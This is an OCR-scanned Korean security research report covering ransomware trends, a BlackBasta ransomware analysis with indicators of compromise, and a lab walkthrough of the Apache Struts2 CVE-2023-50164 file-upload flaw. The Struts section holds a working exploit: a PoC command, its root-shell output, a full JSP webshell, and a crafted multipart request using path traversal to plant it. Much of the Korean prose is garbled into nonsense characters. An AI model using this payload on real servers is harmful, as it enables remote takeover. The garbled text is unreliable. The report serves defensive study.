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New ransomware variant
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Chaos : NoVirus, PatchWorkApt, .backoff
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[NEGOTIATED]

onyx-fire.com [NEGOTIATED]
Work 10 : 7691057387 Work 1D 1458826020

3
LOCKEER

EGOTIATED]

LEAKED DATA BRI

How to Buy Bitcoin ?

groupemontclair.com

Work ID : 0OFEIFFZ18

Deal Or Not 2

JoinUS  ContactUs W

[NEGOTIATED]

rk 1D 17CFEERICS
[DEALED DATA DELETED

DATA NOT AVAILABLE [Negofisted Data not
available.] WORK INFO Work [0

19 3. LockBit, NoName, Fake LockBit %

2 AolE ML

NoName 12 LockBit sAe] TF7 o] ArE e IEIth. NoName I1E9]
O3 & AlE] AME 54 ARIZF 2023 | LockBit o)A AARAE A Ate|el dx]sta
Qo ttagy §= Ato|lEQ dAl Tt LockBit IF FAMSE 52 Holal ok ® o2 LockBit
ar 15<Q1 Fake LockBit &= WHASTH o5 RHHZAQ o] IFs°] &5t 2ol
obd el Atge] QWHAOR At AT Held Lockbir o o18E APHste] BE
A= 7H LockBit ZFo|t.
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NoName o] T3 Fake LockBit 45 7+e] AL LAt & Ao 159 /=

= ° I#h(20234 119 499
A 7Hs AR B
20| dgtolgh= 7HsAdel

g =
A7t el Gk, £5 0|59 ARE o AA¥eF FES WY 4 U A0 B

L

olfl & MEA TAHE dAdoY divkre A HEA 2 E2 Z=TF /2 A9

HEo g FolEth Chaos WA 1] HEQ Wessy S ol NET o2 ZAEQlow, NET
A

AAEH ] SEE O] AMHEAF 212 Al winlogon.exe & $|&oto] A%l
wotEs v@4s Beh o Addlel W= eAaW HaA AR 2
4sjo] olth. Babuk AHLoIo] BE Abyss AANols Qust T nitsiE APLES o

g e hlisked, A ddista e A Faole HEE & gle AEih

e >
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12%

8Base

£ ysioz @ pEsy @ THES
) CAFHLICH 4B SE AT () MX:HAZ
() FRe=z2 () BE:&zlol () IT: OlE=2I0
ik Ukgx @ NLRZuc

a9 4. AQ/=70E 2 BHA 34 3%

LockBit & 2 2 2 WA AGA od 59 29 ol#E FBatw thA] FuetA BEs ek,
Ao AAZEN MEAA Tz 71G MBIl Subway)E B

O EEX) e
Spge fastn gl

o o
Y
30,
rlr
<
w
o
5‘.\
gls!
-,
H
ne
of
u)
1o
=
o
©
9
ﬂllﬂl
o

o
9,
Rl

A2 LockBit 15< o2 71Te Bplor & FAE FAN 2t 5 Haw Jus
ot 7 1 d 7, ofdlo] 44e AT T ANES ANGL PR B3 278 A
Aela A P

ofd
o
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Aol TIEEe] o= 7S FASH] Adshe olfw A 71| Blo]l # Aol &7
fZolct, ddolke BFstal LockBit 2 Al &4 AE &L Foluar MES WAL
a7|¢ F4e A=t itk =& A Ao o] A= i AAHl ot AL
Foh= A2 oyt EAES R HolHES X6 dm 7|#oR stow B@e AEY
bl A HEE AWt Ao R FAE sty ot

Akira WAl A2 PAES oz oeol $AL AL glrk olEL Cisco VPN
F k- (CVE-2023-20269") & <85t HES A HFEst NAS(Network—Attached Storage)® 2
e AXE ez dob WY dolHE AgEtn wHsh: A Agdt oz 9l
WBE o] ZopAFol B AIE (NCSC-F)= Akira @BAglo] 2A djs] ATsko] “3-2-1 ]
TF27E wet msE Hasket AL A 3-2-1 MY FATS MR g2 T A9 4
3709 ARG BHET O AR % ShtE WEYICIN $s] Beld AdE fAsks FEelt,

BlackBasta @A fofel] dieh 5ot mo7F SR o= 2023 W 4 d FAC AHgE WHE
o= Fol A

B ofof oigt 53} =1 ‘Black Basta Buster’ 2 BlackBasta o] ¢t%.sl 2
5KB wjgto] mle Ey} BErbs3, 5000Btyes~1GB Atolo] mle M E5 17}t 71s5ict,
qtoF wl F717F 1IGB & 294 49, A5 5KB = &4 Yz RR2 B35} 7hs5itt

BlackCat(Alphv) 1E& zds] 12 9 FBI €0 g o|F ¢I4H AolEE &) t2 ougs
ol gd ZFS olort Ut HTole HAA [F AIEA 7]E dHolE 9 TAS AAst
A maf Z2AET AASHY it 1 Hele ds5/E2] 449 o= 7 AHA 719-e 345
o s 7149 AlelEE wHHAZIZIE ok 7]&E9] BlackCat(Alphv) & CIS =7F €2+
AL F s Ze 8 7IF Al Fol Wit A& $okA] gt Eo] qlglon,
FBI of oJsf lzetr} Sfaegl o|Fofl= oladh #&& Aoty o= Ao et T4 A&ty

© VPN ¢ SIEYl AolA] A ARE HoskE Ao A $sl67] 9o Agshs Zhate] Hek YES

7 CVE-2023-20269 : BxA3 <l

o

AT of, AY B FO2 Ao FTAA} VPN FT ADS AST & 9= A%

=

fr

| NAS @ MEQES Adso] ofel AgAt HolaE Fhskn HIY & Ut AY A
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BlackBasta @A go] 7l

@ Basta News

asecos.com

Asecos take great pride in assisting
to create new safety standards and
ultimately reducing the number and
severity of accidents, through the
use of approved asecos products.
The best possible protection of
humankind and the environment is
our number one priority. Driven by

this desire, we developed the first

Read more

BlackBasta 2%
B2 AAetY w53E

wile a7deH, 4= 5l

A

TIHA

sipicorp.com

Sipi

Welcome to Sipi Corporation. Over
the course of more than a century
we have witnessed global economic
highs and lows while maintaining a
steady course to become a
recognized leader in refining,
recycling and reusing the world’s

most valuable materials.
SITE: wwwisipicorp.com
Published Visits

100% 2435

Read more

Jol= 2022 49 SASH 25
el 1
1 < 700
SHS Aoa FEFch2023 |9 11 € 7). °]
5tY, Windows HZA B olyz} VMware ESXi’

A g

% VMware ESXi: SAE ZAFE A th52] &9

AAE FAl 2B

leclairgroup.com

LeClair

“Insurance Marketing” doesn't
exactly rhyme with "Madison
Avenue Yet our business can be
just as dynamic. That's because
helping you market insurance is not
about selling cigarettes or skin
cream but instead about building
the brand called “you.” And no one
gets you like LeClair. Built by

brokers, for brokers, since 1931.

Published Visits
100% 2508

Read more

ZA BlackBasta @] I1F Holg 4F AtolE

A 4= 9= Unix 7|8 =g

2 Support

stemcor.com

STEMCOR

STEMCOR is a leading
independently run service provider
for the steel industry. We play a
vital role, acting as an intermediary
between customers and suppliers.
We make complex transactions easy
for buyers and sellers. With our
specialised expertise and
know[edge we help customers

Published Visits
100% 2692

Read more
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BlackBasta 7} |z HEE {8 AHE3F QakBot = Lockbit, Knight, REvil 1} 722 of2] iAo
OFE°] Hx AFE 2 S4ddle] si2E fIoiA ARE-ohe M=t 2008 Hofl TR QakBot &
a8 AZlell F2 E8Eon, 2019 ARE sigddle] sixole &-857] A5 2023 A 8 4
FBI o] o= 2o 9 QakBot o] AJFE Qlzeprt FEaPgA|et, 22 o 12 Hof] M=
HA9] QakBot ©] S48 oHs] Hx HFo| ARRE AL QIt). BlackBasta = QakBot % FAFSH
Pikabot''&= -F-A°] ARgstaL Q.

EQo] Hot 349l SRLabs &= 2023 ¥ 12 € 27 ¥ I1E9 GitHub"9] BlackBasta =353}
L2l Black Basta Buster & &7H3ith SRLabs += 2022 | 11 €RE 2023 @ 12 € %xof o]2=
HA9] BlackBasta sHAflololA oF2st 717F AARE = FoFHE AT, °lE ©]&5kd
T JA 2 dFEE EAY 4+ dv EFE PESIoh ShA|R BlackBasta A ¥lol= Black
Basta Buster & ©l-§ol= 4oote Mg BT 4 gles Ho3t & F/NET oA 7] AR
kg Am=A A

 QakBot (Qbot) : Mo, Hlole] B4, F Azt 97 T= A, kel cheREe g s ARt HIES B ER
I Pikabot : Mz, glole WA, W Aut, 97 I AW, B e 2 )se AT YIES] & FF

12 Github : ¥ 79 &

[>
2
In
)
)
r o
)
=]
gl
2
]
P
alt]
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infosec

BlackBasta Ransomeware

ChaCha20¥112|E2 2 i ASSHE ot Y 7|18 ECIES*E ES
% Chachaz0 -
5 a
File Encrypted
oL File
§ etz et 7/
J
P ChaCha20 I  Encrypted
e Ki Key
( g2 &4 | skp ook MY A Ysst
5KB O|4: ¥EZ TH| 253t F THo] FY £2 Y53}
ool 37| A 235t 37] 22 dsst 244
0 - 5KB BE Ho|H 0B
5KB - 5SMB 5KB 640B
5MB - 50MB 5KB 1.28KB
50MB - 1GB 5KB 6.4KB
1GB - 10GB 15KB 12.8KB
10GB 0|4 50KB 64KB
NP Active
QIX} HE o HA Directory
=T L& Hat
¢ £
ChaCha20 & e A E AfH|A 9l
ECIES %53} SHEEE Nmega S8
( ==
7 instructions_read_metx T~ 2%
OF BTE MO 27V ESBH)
IATTENTION!
Your network has been breached and all data was encrypted. Please contact us at:
https// - e e e e e - » o Tl amee e e ey e -
AT E
( Login ID: ® - o ol oe W = o "
*I* To access .onion websites download and install Tor Browser at:
https://www.torproject.org/ (Tor Browser is not related to us)
L instructions_read_me.txt
HZ A} N
()—o.t .7wdojib58
& ofof

C/C++

* Elliptic Curve Integrated Encryption Scheme (ECIES): H|LJ 37| 5 0|& oA LHE7|E & &ot0 S&E LfE7/2 H/0/EF 223}

# 2 HAIR] 915 TEMAQE FH3E YA9 §23 B YT

19 5. BlackBasta @A 9o] /NQ
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BlackBasta @49l A=F

Discovery

HES3 % A28 FE =7

\‘.‘IIIIIIIIIIIIIIIIIIIII-'/
Execution
24 3z
ne ss

GEm

Windows Defender 8|2}
QtHEE HEl

|

Exfiltration
c2xXjgs Bt RE
=
\\\-Illlllllllllllllllll-"/
Impact

Clio|E| =3}
MR 25 4 HAH
M= F|

T ]

Qakbot &
Strike®, PsExec!®

[>
H,
i
H,
02
A

W

g9le tgos st g0,

4 Mimikatz : Windows A|Z~E19] w|RLz]of A B]WH

Ag a9 AY R

finl 4

;Qﬂ

15 Cobalt Strike : A|A€]

16 Psexec :

Initial Access

[@

Persistence

[m

Credential Access

T1558
T1003

|

Lateral Movement

24/97 A2"o dejo] mrHAE AP 5

1-051
=

‘:‘1:1
1

5314 QakBot ©]
2 M2 98] Mimikatz,

infosec

oY HEat &
23E B3 250TY

22 A Sy

Kerberos E[2ll 2
os 2 FE 25

3 " Mu|A§ 0| 3%
WMo vhojufal Fot

1

A52 S qod] gEndoly Az}

ot ARuAS

AR =,
Cobalt
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FHoR A EFES ol§e Ani-Virus ARAS FESAL FARER HEsHs 5 @
93E G AYS $H SAA 0%, AEA Bt A9l A& BAG go| Fupel] A§T
07 el g9} ot

97y $4 g A%E FA old 7
e AT 4 otk EW, HEY 94 AP glole Aoz AE- Ao BYE )
O O
= il

=
379 WY % 584

5 il = 3 2 HQlth
QIX} 43
-thread {int} 223l Al A MHE= 28E e 28 (12 47H)
-nomutex FEHAT Ad HZd3t
-file {file_name} K™z oot a3
-bomb AD8E E3t BlackBasta |5 M}
-disablewhitelist A= 02 5 Hzdst
-forcepath {path} A Hsot 220 =5}

-nordp RDP"® BX|2E2| HF 7|5 H/&d3l
X 1. BlackBasta s go] A+

A A F —bomb IS A, LDAP #=*E &83] #2 AD AHo] EAsts E& PC 9
Addlo] ol Hut U APA 7= 75 St AD AHoA sl BE AREARF T
Y C:WWindowsWhbb.exe AZ0] sHdo] TtdS EA5) Asysict.

T HEA (Mutex) © ofe] AHES Atk $A0lA 2L 2] g 2t SA6) Faeh RS solrk A&

4 9= Windows 7|4t

L]

18 Active Directory(AD): MS oA A-Zst= fElEg] AH|A 715082 A U Ad 9@ dt 52 e

TR Aujx
19 Remote Desktop Protocol (RDP) : tf2 AFEE Y70 Z AoJd 4 LR FF= 2SR

“ LDAP #2] : VAN EHo} A, 54, tutol s S& oh 4 G Sk ALESS] L2ZES (LDAP)IA
gt Bl
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BlackBasta WA o= 64B ez 532 Asisld, w2 o535l 98] HElAHEE a5t
ntel F7)o] whet ast WHAlS thEA HEsta ek 20229 11 95H 20239 129 % Afelo]
THEo]zl ¢ BAH9] BlackBasta & T A7) wel & 3 7px] @raAlo g mle s Eksith 5KB
wre] mtle BE HolHE dastste, 5KB OVJOM IGB ulgte] mbole 1928 ulrh 64B Rt
12 st 1GB o)A mde Hx SKB £ 2% godlsi, YA 99 6.4KB uith
E 64B W (o oks ottt

ol

B /=

1288 Eof Lt

6,336B

o
0>-
El

)

no

128B AAF I

5KB Ot

6,336B & o

5KB 0|4 1GB DO| 2t

1GB O] &

19 7. F WA BlackBasta o] 7] & A&

T #Ao] BlackBasta %@%101% 37]7} 1GB o]Atel male orsslst ), waleo] Hx 5KB
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32B U ! 32B HE ot
T |- 7eco-
Counter = 1 Counter = 2,34 --

5 A8 7| 44 CtE 7] 44

a3 8. 7] AA 1A

7le whdubet 328 o] et g 1 2 AAE Counter & ©18si4 A=, Counter
A Z7HA BE 718 AEE o ok 7 #elA 1GB wthe] k2 Counter gto] 12
= 5 ARSI, 1G gel mtde] A5 SKB & deskd wit ohE 7€ A

oe]
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~
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o
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i
o
i
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o 37| | My %3t 27| HE B3l 74 |
0 - 5KB B E §o|g 0B
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10GB O] 4t 50KB 64KB
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BlackBasta #/g¢lo] th-g4et

infosec

Initial Access

. - o|yA2 U2 AV AHBLE 23
Discovery R oty o|Hl Y HETUoILt FIE AT
F o 2= HE
SOl 7|Ht EIX| SEM MBS E3 g E § \_/
ob sHe| Ajch HHEH B Persistence
5
. = 2| 7|58 BX| #FM A2 E BEE
Defence Evasion H ofig Be| KT
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UAC M2

FI1% HAHE B8 AlAR HAY el

AEX} o Cld| E2fof z|Ashel HEtet 2o

el 719t EX| FRM ALSE E3 ofy W9l kpgh

[z |

Credential Access

AES Kerberos =3} 4%
2 D29 E Y 4Y
Xt AYE FYE Mol M HBSGEES HEH

Exfiltration

T1558
T1003

|

=2 M2 E3 [|0|E| &5 x|
DLP 2RME E3 ojo|E| R WX Lateral Movement

HEYA S5 A8

o |
EER

Impact EUas 4A BE A2 YA
HEWZ 22l 9 F2 A 2t
ask 74 2ase se oyae g - HEE
dolel e M HH
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1% 10. BlackBasta =i g0} of-gHhot

BlackBasta & 23ojx 42 BolH A2 A5E An@ meps, QoI BeEE e Az
AdSAL B Anti-Vius B AH§o) THERE W oby mddo] APHA JES fulg
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l—“ Indicator Of Compromise ||1

) &

BlackBasta(April. 2023) : SHA256

fe87fa7714266548fa5da52455f1788f588417ee800c86768d163abd279d0279
ef2a754a8e713fdbdeaab42e2220af372fd310a755a02126938ff233b16a4a83

BlackBasta(December. 2023) : SHA256

f971a05b8540fabaf8cb6c54d2c2de00c54fa99a4e86615daca03a6d7c0edebf
b32daf27aa392d26bdf5faafbaaebb21cd6c918d4611f59f548a73d447a96dd9

% 4

File Name

4WCB3ACCQFJBTGE966849RFVY6.bdg.00000000_BITDEFENDER.out
STUDIO_BBG.dII
RibbonGadgets.EXE
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m zt1 AJO|E

URL :

https://www.bleepingcomputer.com/news/security/new—black—basta—decryptor—

exploits—ransomware—flaw—to—recover—files/

URL :

URL :

URL :

URL :

https://directoryadmin.blogspot.com/2014/12/ldap—queries—for—users—computers—groups.html
https://securityscorecard.com/research/a—deep—dive—into—black—basta-ransomware/
https://www.zscaler.com/blogs/security—research/back—black—basta

https://www.trendmicro.com/vinfo/us/security/news/ransomware—spotlight/

ransomware—spotlight—blackbasta

URL :

https://www.sentinelone.com/labs/black—basta—ransomware—attacks—deploy—custom—

edr—evasion—tools—tied—to—fin7-threat—actor/

URL :

https://www.zscaler.com/blogs/security—research/tracking—15—-years—qakbot—development

EQST insight | 34



Research & Technique

Apache Struts2 ¥ 3T AldH FOFH(CVE-2023-50164)

20233 12 €, Java EE 9 ofEA )R M-S T 0&4~ T 9]FQ) Apache Sturts2 o]l A
97 IZ= AY FHPH(CVE-2023-50164)0] LA Apache Sturts2 ¢ md ¢zt 22
Agtem Qg Forgeldh g HPHS Bl FAAE HE U=t mEvEHE dEAR
Aot Hor A & foo] Ao PA(Web Shel)t Z-2 omtds =g 4 Yk

e B Jdredt Ande] Hdste]l oHIE=E AFPSAI YR dlolgo

H
ok
o
il
ot |o
£
[o
it

Apache Struts

2
TAY B B

v QEALE AFHo] thfet ZRAEA AMEEHL Ut o]& Qle| Fefio]
= 1
Apache Struts2 & AHESEAL QUi FoFgo] s Ad

Zoh Wastth webd ok mAHo
Aoz gulelE shok gt

YEYA ] A A AAF(Cisco)oll A= AAFS] Bt &F 491 ISE(Identity Service Engine)©]
3.1 o]3} WAL AT AL, CVE-2023-50164 9 A4S wre 4 Qoky @HEsis Al
HHo=z doolEd RS AL

S/W 7& Tk MH
Struts 2.0.0 - Struts 2.3.37 (EOL)
Apache Struts2 Struts 2.5.0 - Struts 2.5.32
Struts 6.0.0 - Struts 6.3.0.1
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B 34 AL

CVE-2023-50164 & o|-43F 37

Al ee et 2t

infosec
_ HE M
| I
® | !
‘ STRUTS —— — [

|
> | i
F okgt Mt T - ———— [

('.:é'] ”ﬁ 5|3 X}

CVE-2023-50164

ok

7z}

27 3y 4

TOP
SECRET

M 72 e w3

19 1. CVE-2023-50164 22 A

® SAXE It YRE 7|50 FHE CVE-2023-5016401 F oot M M
@ SA%E 34 Y Mol It HRE Jls3s S A48t Y=L
® SAXE 22 HMoR YRES yutdo] Moo 3 Y
@ 3A%E Y S ¥ YBS dYot AYIE RE AU MH Fa YE 2
mEAE &2 1Y e
HAE 8748 gEste] CVE-2023-50164 o] 2 772 A 2o
olg CL
Ubuntu 22.04.3
| sf| X} OpenJDK 17.
(192.168.102.160) Tomcat 9.0

Apache struts 6.3.0.1

okl

7%t

(192.168.102.161)

Kali Linux 2023.4
Burp Suite 2023.10.3.5
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maiaF PC ol CVE-2023-50164 FJeFdo] A5k Apache Struts2 719He] 9 Aus ZAgHl
29 URL & 53l Docker &3 oz AT & Qitt

— URL: https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2—Docker.git

$ git clone https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker.git

$ c¢d CVE-2023-50164-ApacheStruts2-Docker

$ docker build --ulimit nofile=122880:122880 -m 3G -t cve-2023-50164 .

$ docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2023-50164 cve-
2023-50164

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven. javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>

</properties>

1% 2. pom.xml

Docker & Adsto] mjsfzat PC 9] 8080 ZEE ‘&l FH ket 27
4 9} o] Thdet mhd ARE Tlso] FAH HoIXE ;Y &+

S docker ps
CONTAINER ID IMAGE COMMAND CREATED

PORTS NAMES
66d0440edc37 cve-2023-50164 "catalina.sh run” 11 minutes ago Up 11 minut
es 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2023-50164

19 3. Docker A3
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=] File upload O

& C O O localhost

Browse... | No file selected.

Submit

I9 4. 04 JEE HolA

pg A HAE wUe gReg Av, nd gRse] 4B uploads HEHA

AZES T (test.jpgle AT 4 Ut

« @] O [ localhost
Browse... | test.jpg

Submit

&« © QO [ localhost

File Upload - Success

File uploaded successfully ©
Go back to Upload Page

I9 5.jpg Y 9RE

root@66dod440edc37: fusrflocalftomcat /webapps /ROOT# cd uploads/

root@ocdod440edc37: fusrflocal/tomcat /webapps/ROOT/uploads# 1s

1% 6. uploads HHHz %3]
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S jsp Q1 TS A HJEET A, O 71 Zo] YR AEoHT o] HEE &
A= HAZ7E S8 EHT &, HAE 742 A2 oA gt jpg ©F png ¢ A-gelw
A2 4 ol S7hEA) 2 SARbE MOl forbidden T olA 1T 4 9L
« c U [ localhost
Browse... |webshell.jsp
Submit
« &) O O localhost

File Upload - Success

Nop ! Only .jpg and .png are authorized ! Go to forbidden folder @
Go back to Upload Page

g 7.jsp T¥ 4R

root@66de440edc37: fusr/local/tomcat /webapps /RO0OT# cd forbidden
root@66de440edc3?: fusr/local/tomcat /webapps /ROOT/forbidden# 1s

webshell. jsp

19 8. forbidden HEE 23]
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Step 2. PoC HIZE

542 PC 9] Kali Linux #7414 a2t PC(192.168.102.160)= CVE-2023-50164 ¢l gt PoC
BIAEE ggtty, b9 URL& F9l PoCE the T & St

— URL: https://github.com/jakabakos/CVE-2023-50164—-Apache—Struts—RCE

HolZ £9] PoC & AW Wzt PC o] A=E F PAo] H2sto]
oIt

e
I
o,
o
o

o}
Al
=

o 1o

o o
4 oF

python exploit.py --url http://[ZISi Xt PC]/upload.action

PoC HIZE Az}, mafizt PC of oigt FEGDet W dlolEl(/etc/passwd)E Z3|ot= 5 4
y8g Asjo] 7Hgottt.

( )-[~/CVE-2023-50164-Apache-Struts-RCE/exploit |
python exploit.py —-url http://192.168.102.160:8080/upload.action
Starting exploitation..
WAR file already exists.
webshell.war uploaded successfully.
Reach the ISP webshell at http://192.168.102.160:8080/webshell. jsp?cmd=<COMMAND>
Attempting a connection with webshell.
Successfullv connected to the weh shell.
> id

uid=0(root) gid=0(root) groups=0(root)
> cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon 4 1:1:daemon:/usr/sbin: /usr/sbin/nologin
bin:x: :bin:/bin:/usr/sbin/nologin

] svs ,dev fusr,sb1nfnoloq1n

:L%l 9. PoC H2E 2t

&zt PC oAl PoC & B3l Q= ¥ oFdutd (webshelljsp)S &1 4= St
root@s6do440edc3?: fusr/local/tomcat/webapps /ROOT# 1s

total 36

drwxr-x--- root root 4096 Feb © 08:46

drwxr-xr-x 1 root root 4096 Feb & ©8:30

drwxr-x--- root root 4096 Feb o6 ©08:31

root root 219 Feb 11:48 index.html
root root 4096 Feb o ©8:30

drwxr—x——— root root 4096 Feb o ©8:39

drwxr-x--- root root 4096 Feb © ©08:30
root root 548 Feb & 08:46 webshell. jsp

a9 10. 92 A o utd(webshell.jsp)
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Apache Struts2 Ze|UQIE ARESHY] e AfolE 7]EAHOR action’ A FHIE
APE T Action 24w 54 AEXEQIEAN AMEAS] 974S Asted AMgHT CVE-
2023-50164 = 1Y gzt B /upload.action” NEIEQIE oA HAHIITE

ActionSupport & “JE 2 Upload S 2olA st dz=of Bt wfu|ge] 45 T 4
k. @A Docker & 4% HAE 8749 Upload dl2e I8 11 3 o] 4gx]of Ut o]
Sefize] Ao"  wd 2o gt 3 JER] £A4 F(upload,  uploadFileName,
uploadContentType) S £3) 7Y gzt Azs Assict

public class Upload extends ActionSupport {

private File upload; P U2 C 5 mpUo| M MK
private String uploadFileName; —P 12 C 5t njUo| TjAUH
private String uploadContentType; —p-Qi2 C3l njUe| ojUSH

private String imagePath;

19 11. Upload E8&

md = A HITP 873 oA Z2he] metvg gt £4< WA

POST fupload.action HTTP/1.1

Host: 192.168.102Z.160:28080

Content-Length: 184

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.102.160: 8080

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylalLnwW2agdBWP11XS

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.615]
Accept: text/html,application/xhtml+xml, application/xml;g=0.9,1mage/avif,1mage webp,1mage/apng, */*;q=0.8, appl1
Referer: http://192.168.102.160:8080/upload.action

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;g=0.9

Cookle: JSESSIONID=137A48BD64475SASDODOAECBCOOCEF797

Connection: close

rs
I
o
rlo
o
o
i)
M
o

------ WebkitFormBoundarylalnW2agdBWP11XS

Content-Disposition: form-data;| name="upload'|; [fllename "test. ]pgq
|C°”te”t'TYp9: 1mage/]peg upload uploadFileName

uploadContentType

a9 12. 1Y YR A] HTTP 83

CVE-2023-50164+ HTTP 8% & & ste] 1Y 42t AAE yetll= datu| g (upload)E
MzstE, 94 33 A% 9% Wee Ukl 12 md g wolz & gk olF
FHIEE EFF Y oz AMe] YRE B QS oJulsh et e uploadFileName) S
Zohete] Qoo ARE AHE RAY O ol FoRHolTt
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A Be FHS AT 23S AR YEolnt. it frEo] AEehE o] drr d=E
€

TE g ol Al
- H2LE nf2to|HE HEXIE AESHE  name="Upload"
4 1

#Hez HE £ 4duy e F7t  [(Emd WE F7h

A2E F mMAdE o|0|jst= ul2t0[E{Q} Content-Disposition: form-data; name="uploadFileName";
Uolo| AEE X mUY F7t oS PR2EY A9o =]

B 1. CVE-2023-50614 =7

mt2to]E]Ql name=“upload”& WHEAZ AJZol= name=“Upload” =
HAStT 44 Wy Adge ¢t 9 F=E FUIst o222 Content—Disposition 8] 5] 2}
name="uploadFileName™& F7}sto] AHjo] 2= H mdE Yee dem|gE A4 9lsto]
Qolo) Ans mEe Rgon Wxd

16 - nn-- WebK1itFormBoundarylaLnwW2agdBwP11XS

17 Content-Disposition: form- data;i name="upload" ;l filename="test.jpg"
18 Content-Type: image/jpeg
19

o

------ WebK1tFormBoundarylalLnw2agdBwWwP11XS- -

I'U NN
N = O

a9 13.HTTP £ WA A
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! Content-Type: 1mage/jpeg

------ webK1tFormBoundarylalnw2agdewP11XsS
i Ifilename:'test.jpg“

Content-Disposition: form-data;|name="Upload";

ntetoje ¥4

<%@ page 1mport="java.10.%*" %
<%

(upload = Upload)

String cmd = request.getParameter("cmd");

String output = *";

if (emd !'= null) {
string s = null;
try {

Process p = Runtime.getRuntime().exec{cmd, null, null);

BufferedReader sI = new BufferedReader(new InputStreamReader(p.

while ((s = sI.readLine()) != null) {
output += s + *\n";

r&
ox
o}

getInputStream()));

}
} catch (I0Exception e) {
e.printStackTracel();
1
}
5o !’! ic
<fs=output %>
------ webK1 tFormBoundarylalnwW2agdBwP11XS
Content-Disposition: form-data; name="uploadFileName";
3 ? a8z 27}

.. /webshell. jsp

11IAS--

J9 14 HTTP 84 W3 %
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HTTP &3 A% A7, dev|e #1748 S 948 32t 491" o (test.jpg)lol AHel] fJaE

Het o] 843 e Foll AHel 925 " mpdol o]Fo] ‘test.jpg oA ../webshelljsp’ =
HAA S o= Qe FAA= 19 14 ¢F Zo] ROOT HHHo| Y2E= H webshelljsp 7ol
A &+ Adrk

3 | [& localhost:8080/webshell x = +
6

C O O localhost

uid=0(root) gid=0(root) groups=0(root)

a9 15 9a& 3 94 39 43

root@a®34a3al7e6d: /usr/local/tomcat/webapps/RO0OT# 1ls -al
total 36

drwxr-x--- 6 root root 4096 Feb
drwxr-xr-x 1 root root 4096 Feb

13:30

12:48

13:27

11:48 1index.html
11:54

13:27

11:54

13:28 webshell. jsp

a9 16. d g=E dx

drwxr-x--- 2 root root 4096 Feb
-rW-F----- 1 root root 219 Feb
drwxr-x--- 3 root root 4096 Feb
drwxr-x--- 2 root root 4096 Feb
drwxr-x--- 4 root root 4096 Feb
-[W-T----- 1 root root 363 Feb

B A S LN T S S
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Step 2. FoFd &4

CVE-2023-50164 FoFdo] &EASl= Apache Struts2 oA =} dREE 53t 54 HAS
stepl~4 = o] A2 ZIggi)

step ) I+ d2E 97 - HetpParameters.java
e d2t g9Fo] Eoje™ HTTP 9% mehveE A #sH= HitpParameters ZEA9] get(),
remove(), contains() A EE o Qm ot At metn|g o gk HwE asttt

public HttpParameters appendAll(Map<String, Parameter> newParams) {
parameters.putAll(newParams);
return this;

1% 17. HttpParameters

oluff FoFet WOl Apache Struts2 ] HttpParameters A=
B3ttt &, mEtoEl7F name=‘upload’®t name=Upload’ ¥ A+ HARAE FESH7] W&ol
Z}2} upload ¢} Upload 2= mhetu|e7} A/ Eoh,

e

step 2) WY A== mhEulE Ao - ol g Hx
FoFst WM 9] Apache Struts2 ©] HttpParameters & ARAE FEsto] HAZ HFs] 7159
tetalglof] gt A L]7t 7Hedtet. Parametersinterceptor Z2f29] setParameters() T A = o) A]
Y5 setParameters) WA E+E TreeMap 722 Y J2EE A2t Java 9] TreeMap 2
(=2 ) dupdl iz 2 ) dupdl 2722 ) =] &A= FEeth
protected void setParameters(final Object action, ValueStack stack, HttpParameters parameters) {

HttpParameters params;

Map<String, Parameter> acceptableParameters;
if (ordered) {

params = HttpParameters.create().withComparator(getOrderedComparator()).withParent({parameters).build();
acceptableParameters = new TreeMap<>{getOrderedComparator());
} else {

params = HttpParameters.create().withParent(parameters).build();
acceptableParameters = new TreeMap<>();

1% 18. setParameters() WA=

upebA  mhepale] FEe®  ‘upload’?t  ‘Upload7t &g, WHEARE  AFste Upload

atetnlg o] = YES pAeR FHEIH ot 5A& o8st FAAE EvE e

Upload = ®xs5t @A AHES 4hgiste] dgotd 7]E9] ntrd 82 dole & Ao
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step 3) 1} YEZE - FileUploadinterceptor.java
struts—default.xml 2 Apache Struts2 oA 7]EZHoz A|Fal=
default.xml o] A AF-g2Fe] @3-S A YP5k= Interceptor & A 2] etet,

a7

mdolth  struts—

<interceptor name="118n" class="org.apache.struts2.interceptor.I18nInterceptor"/>

<interceptor name="logger" class="com.opensymphony.xwork2.interceptor.lLogginglnterceptor"/>
<interceptor name="modelDriven" class="com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor”/>

<interceptor name="debugging" class="org.apache.struts2.interceptor.debugging.Debugginglnterceptor"/>
<interceptor name="execAndWait" class="org.apache.struts2.interceptor.ExecuteAndWaitInterceptor™/>

<interceptor name="exception" class="com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor"/>
[<intEFceptor name="fileUpload” class:"org.apache.struts2.interceptor.FileUploadInterceptcr"/>]

19 19. struts—default.xml

AEARRE Tl dEE g% o] 0], FileUploadinterceptor &A= multiWrapper & 59
inputName Zf2 7|¥ro=z mtel AA|(File), mtd(FileName), A¥= EF(FileContentType) Tt

e 371 4 8 A 31 QRE ARE Asn Y2E B s

= AHol At

// bind allowed Files

Enumeration fileParameterMames = multiWrapper.getFileParameterNames();

while (fileParameterMames != null && fileParameterMNames.hasMoreElements()) {
// get the value of this input tag
String inputName = (String) fileParameterhames.nextElement();

// get the content type
[String[] contentType = multiwrapper.get(ontentTypes(inputName);I

if (isNonEmpty(contentType)) {
// get the name of the file from the input tag
[String[] fileMame = multiWrapper.getFileNames(inputlame); ]

if (isNonEmpty(fileName)) {
// get a File object for the uploaded File
